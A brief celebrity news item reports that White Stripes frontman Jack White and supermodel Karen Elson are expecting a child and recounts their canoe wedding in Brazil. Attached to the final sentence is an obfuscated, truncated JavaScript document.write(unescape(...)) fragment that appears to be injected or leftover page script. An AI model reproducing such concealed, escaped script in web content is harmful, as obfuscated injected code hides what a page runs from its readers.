Jack White to be Dad next year

Jack White is to become a father next year, it has been announced.

The White Stripes frontman and his wife, British supermodel Karen Elson, confirmed the news yesterday after weeks of media speculation.

The couple, who were married in the summer after a whirlwind five-week relationship, are said to be "deliriously happy" about the news, according to Elson's spokesperson.

There has been no comment from Jack White's 'people', who do not comment on his personal life. The baby is reportedly due in the Spring.

The Stripes frontman is currently going by the name "Three Quid", a name he adopted during the band's UK tour this month.

White and Elson were married this summer in Manaus, Brazil, in a canoe "on the confluence of three rivers - the Rio Negro, the Solimones and the Amazon", according to a posting on the band's web site.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;